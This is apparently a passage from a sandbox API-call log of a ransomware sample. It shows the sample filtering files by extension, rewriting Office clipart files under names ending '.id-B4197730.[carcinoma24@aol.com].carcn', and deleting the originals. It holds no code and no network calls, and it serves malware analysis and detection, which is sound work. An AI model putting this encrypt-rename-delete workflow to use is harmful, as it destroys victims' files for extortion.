[0305.412] lstrlenW (lpString=".doc") returned 4 [0305.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.412] lstrlenW (lpString=".docx") returned 5 [0305.412] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0305.412] lstrlenW (lpString=".pdf") returned 4 [0305.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.412] lstrlenW (lpString=".xls") returned 4 [0305.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.412] lstrlenW (lpString=".xlsx") returned 5 [0305.412] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0305.412] lstrlenW (lpString=".ppt") returned 4 [0305.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0305.412] lstrlenW (lpString=".zip") returned 4 [0305.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.412] lstrlenW (lpString=".rar") returned 4 [0305.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.413] lstrlenW (lpString=".bz2") returned 4 [0305.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.413] lstrlenW (lpString=".7z") returned 3 [0305.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0305.413] lstrlenW (lpString=".dbf") returned 4 [0305.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0305.413] lstrlenW (lpString=".1cd") returned 4 [0305.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0305.413] lstrlenW (lpString=".jpg") returned 4 [0305.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.414] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.414] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.415] GetLastError () returned 0x0 [0305.415] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x45be, lpOverlapped=0x0) returned 1 [0305.422] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x45c0, lpOverlapped=0x0) returned 1 [0305.423] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.423] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.423] SetEndOfFile (hFile=0x37c) returned 1 [0305.423] CloseHandle (hObject=0x37c) returned 1 [0305.423] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.423] SetEndOfFile (hFile=0x340) returned 1 [0305.424] CloseHandle (hObject=0x340) returned 1 [0305.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0305.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0305.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0305.429] lstrlenW (lpString=".doc") returned 4 [0305.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.429] lstrlenW (lpString=".docx") returned 5 [0305.429] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0305.429] lstrlenW (lpString=".pdf") returned 4 [0305.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.429] lstrlenW (lpString=".xls") returned 4 [0305.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.429] lstrlenW (lpString=".xlsx") returned 5 [0305.429] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0305.429] lstrlenW (lpString=".ppt") returned 4 [0305.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0305.429] lstrlenW (lpString=".zip") returned 4 [0305.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.430] lstrlenW (lpString=".rar") returned 4 [0305.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.430] lstrlenW (lpString=".bz2") returned 4 [0305.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.430] lstrlenW (lpString=".7z") returned 3 [0305.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0305.430] lstrlenW (lpString=".dbf") returned 4 [0305.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0305.430] lstrlenW (lpString=".1cd") returned 4 [0305.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0305.430] lstrlenW (lpString=".jpg") returned 4 [0305.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.430] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.430] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.431] GetLastError () returned 0x0 [0305.431] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x133f8, lpOverlapped=0x0) returned 1 [0305.441] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x13400, lpOverlapped=0x0) returned 1 [0305.443] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.443] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.443] SetEndOfFile (hFile=0x37c) returned 1 [0305.443] CloseHandle (hObject=0x37c) returned 1 [0305.443] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.443] SetEndOfFile (hFile=0x340) returned 1 [0305.445] CloseHandle (hObject=0x340) returned 1 [0305.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0305.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0305.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0305.794] lstrlenW (lpString=".doc") returned 4 [0305.794] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.794] lstrlenW (lpString=".docx") returned 5 [0305.794] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0305.794] lstrlenW (lpString=".pdf") returned 4 [0305.794] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.794] lstrlenW (lpString=".xls") returned 4 [0305.794] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.794] lstrlenW (lpString=".xlsx") returned 5 [0305.794] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0305.794] lstrlenW (lpString=".ppt") returned 4 [0305.794] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0305.795] lstrlenW (lpString=".zip") returned 4 [0305.795] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.795] lstrlenW (lpString=".rar") returned 4 [0305.795] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.795] lstrlenW (lpString=".bz2") returned 4 [0305.795] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.795] lstrlenW (lpString=".7z") returned 3 [0305.795] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0305.795] lstrlenW (lpString=".dbf") returned 4 [0305.795] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0305.795] lstrlenW (lpString=".1cd") returned 4 [0305.795] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0305.795] lstrlenW (lpString=".jpg") returned 4 [0305.795] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.795] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.796] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0305.796] GetLastError () returned 0x0 [0305.796] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0305.798] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0305.799] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.800] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.800] SetEndOfFile (hFile=0x374) returned 1 [0305.800] CloseHandle (hObject=0x374) returned 1 [0305.800] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.800] SetEndOfFile (hFile=0x340) returned 1 [0305.801] CloseHandle (hObject=0x340) returned 1 [0305.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0305.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0305.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0305.802] lstrlenW (lpString=".doc") returned 4 [0305.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.802] lstrlenW (lpString=".docx") returned 5 [0305.802] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0305.802] lstrlenW (lpString=".pdf") returned 4 [0305.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.802] lstrlenW (lpString=".xls") returned 4 [0305.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.802] lstrlenW (lpString=".xlsx") returned 5 [0305.803] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0305.803] lstrlenW (lpString=".ppt") returned 4 [0305.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0305.803] lstrlenW (lpString=".zip") returned 4 [0305.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.803] lstrlenW (lpString=".rar") returned 4 [0305.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.803] lstrlenW (lpString=".bz2") returned 4 [0305.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.803] lstrlenW (lpString=".7z") returned 3 [0305.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0305.803] lstrlenW (lpString=".dbf") returned 4 [0305.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0305.803] lstrlenW (lpString=".1cd") returned 4 [0305.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0305.803] lstrlenW (lpString=".jpg") returned 4 [0305.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.805] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.805] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0305.806] GetLastError () returned 0x0 [0305.806] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3e74, lpOverlapped=0x0) returned 1 [0305.808] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3e80, lpOverlapped=0x0) returned 1 [0305.809] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.809] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.809] SetEndOfFile (hFile=0x374) returned 1 [0305.809] CloseHandle (hObject=0x374) returned 1 [0305.809] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.809] SetEndOfFile (hFile=0x340) returned 1 [0305.810] CloseHandle (hObject=0x340) returned 1 [0305.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0305.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0305.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0305.811] lstrlenW (lpString=".doc") returned 4 [0305.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.812] lstrlenW (lpString=".docx") returned 5 [0305.812] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0305.812] lstrlenW (lpString=".pdf") returned 4 [0305.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.812] lstrlenW (lpString=".xls") returned 4 [0305.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.812] lstrlenW (lpString=".xlsx") returned 5 [0305.812] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0305.812] lstrlenW (lpString=".ppt") returned 4 [0305.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0305.812] lstrlenW (lpString=".zip") returned 4 [0305.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.812] lstrlenW (lpString=".rar") returned 4 [0305.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.812] lstrlenW (lpString=".bz2") returned 4 [0305.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.812] lstrlenW (lpString=".7z") returned 3 [0305.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0305.812] lstrlenW (lpString=".dbf") returned 4 [0305.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0305.812] lstrlenW (lpString=".1cd") returned 4 [0305.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0305.812] lstrlenW (lpString=".jpg") returned 4 [0305.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.813] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.813] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0305.818] GetLastError () returned 0x0 [0305.818] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x6978, lpOverlapped=0x0) returned 1 [0305.820] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x6980, lpOverlapped=0x0) returned 1 [0305.821] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.822] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.822] SetEndOfFile (hFile=0x374) returned 1 [0305.822] CloseHandle (hObject=0x374) returned 1 [0305.822] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.822] SetEndOfFile (hFile=0x340) returned 1 [0305.823] CloseHandle (hObject=0x340) returned 1 [0305.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0305.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0305.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0305.824] lstrlenW (lpString=".doc") returned 4 [0305.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.824] lstrlenW (lpString=".docx") returned 5 [0305.824] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0305.824] lstrlenW (lpString=".pdf") returned 4 [0305.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.824] lstrlenW (lpString=".xls") returned 4 [0305.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.824] lstrlenW (lpString=".xlsx") returned 5 [0305.824] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0305.825] lstrlenW (lpString=".ppt") returned 4 [0305.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0305.825] lstrlenW (lpString=".zip") returned 4 [0305.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.825] lstrlenW (lpString=".rar") returned 4 [0305.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.825] lstrlenW (lpString=".bz2") returned 4 [0305.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.825] lstrlenW (lpString=".7z") returned 3 [0305.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0305.825] lstrlenW (lpString=".dbf") returned 4 [0305.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0305.825] lstrlenW (lpString=".1cd") returned 4 [0305.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0305.825] lstrlenW (lpString=".jpg") returned 4 [0305.825] lstrcmpiW 